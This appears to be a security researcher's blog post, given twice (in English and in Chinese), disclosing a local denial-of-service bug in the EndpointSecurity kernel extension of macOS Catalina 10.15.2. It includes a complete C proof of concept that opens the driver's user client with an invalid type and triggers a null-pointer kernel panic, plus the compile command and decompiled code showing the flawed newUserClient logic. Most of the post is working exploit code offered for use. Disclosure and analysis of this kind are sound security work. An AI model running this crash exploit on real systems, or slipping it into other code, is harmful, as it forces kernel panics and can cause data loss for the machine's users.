local DOS on latest macOS

a simple dos in the newly added kext

Poc

Let’s just go straight to the poc without too much bullshit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>


int main(int argc,char *argv[]){
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("EndpointSecurityDriver"));

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 1;
}
printf("got service: %x\n", service);

kern_return_t err;


// open a userclient:
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 8, &conn);
if (err == KERN_SUCCESS){
printf("get user client connection\n");
}
//input data
uint64_t input[10];
uint32_t value=0x0;
memset(input,0,sizeof(input));

printf("got userclient connection: %x\n", conn);
err = IOConnectCallMethod(conn,0x0,input,value,NULL,0,NULL,NULL,NULL,NULL);
if(err != KERN_SUCCESS) printf("no\n");
else printf("success\n");
IOServiceClose(conn);

return 0;
}

the bug can be triggered on the latest macOS Catalina(10.15.2),haven’t been tested on 10.15.3 yet.the Apple product security team does not regard it as a security problem,so i just release it.This vulnerability is just because the EndpointSecurity.kext rewrite the newUserClient function with the logic problem,even if the type is wrong but not number 0 or 1,it will return KERN_SUCCESS.But the client doesn’t be created actually,finally to a null poiner dereference problem.we can find in the kernel panic log.

i take out the important part of the rewrited function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall EndpointSecurityDriver::newUserClient(__int64 a1, IOUserClient *a2, const char *a3, int a4, __int64 a5, EndpointSecurityExternalClient **a6)
v8 = a4;
...
if ( v8 == 1 ){
...
}
if ( v8 )
goto LABEL_20;
...
v10 = 0;
LABEL_20:
if ( (unsigned int)gLogLevel_ >= 4 )
_os_log_internal(
&dword_0,
&_os_log_default,
2LL,
_ZZN22EndpointSecurityDriver13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClientE11_os_log_fmt__12_,
"virtual IOReturn EndpointSecurityDriver::newUserClient(task_t, void *, UInt32, OSDictionary *, IOUserClient **)");
return v10;

i believe any one who learn a few about the IOKit mechanism can understand what i said above.That’all,thanks for reading~Btw,i also post the blog on my Twitter.


Chinese Version

前言

这个漏洞的具体表现形式为空指针解引用造成的kernel panic,由于苹果的安全团队评估之后认为不能造成具体的安全隐患,所以在这里放出来漏洞描述和poc,希望安全界的同行们能够互相学习交流。

背景知识

  1. 了解苹果的IOKit机制,可以参考OS X和iOS内核编程
  2. 用户态和内核扩展的交互

Poc

下面的代码在macOS 10.15 betamacOS 10.15.2都是可以触发的,最新版本上还没有测试过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>


int main(int argc,char *argv[]){
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("EndpointSecurityDriver"));

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 1;
}
printf("got service: %x\n", service);

kern_return_t err;


// open a userclient:
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 8, &conn);
if (err == KERN_SUCCESS){
printf("get user client connection\n");
}
//input data
uint64_t input[10];
uint32_t value=0x0;
memset(input,0,sizeof(input));

printf("got userclient connection: %x\n", conn);
err = IOConnectCallMethod(conn,0x0,input,value,NULL,0,NULL,NULL,NULL,NULL);
if(err != KERN_SUCCESS) printf("no\n");
else printf("success\n");
IOServiceClose(conn);

return 0;
}

编译指令:

1
cc dos.c -framework IOKit -o dos

接下来运行一下就可以直观的看到效果了,下面就来分析一下问题所在

问题发生点

通过对内核扩展的代码审计我们可以很容易的发现这其实是一个逻辑问题,EndPointSecurity.kext主动的重写了newUserClient这个方法,但如果type参数不是0或1的话依然会返回KERN_SUCCESSKERN_SUCCESS就会让内核错误的认为函数调用成功,从而执行接下来的步骤,但事实上对应的client并没有得到成功的创建,所以在之后用到client事实上在内存中是并不存在的,最终就会表现为空指针报错,我将重写过的函数关键部分摘出来如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall EndpointSecurityDriver::newUserClient(__int64 a1, IOUserClient *a2, const char *a3, int a4, __int64 a5, EndpointSecurityExternalClient **a6)
{
v8 = a4;
...
if ( v8 == 1 ){
...
}
if ( v8 )
goto LABEL_20;
...
v10 = 0;
LABEL_20:
if ( (unsigned int)gLogLevel_ >= 4 )
_os_log_internal(
&dword_0,
&_os_log_default,
2LL,
_ZZN22EndpointSecurityDriver13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClientE11_os_log_fmt__12_,
"virtual IOReturn EndpointSecurityDriver::newUserClient(task_t, void *, UInt32, OSDictionary *, IOUserClient **)");
return v10;
}

也就是说我们在用户态的调用IOServiceOpen的时候只要传递的type参数不是0或1就会触发panic,从这个角度我们也可以发现苹果的一些代码质量并不是很高,从这些角度出发,我们可能会发现一些意想不到的问题,针对薄弱点进行攻击相对来说是一种省时省力的方式。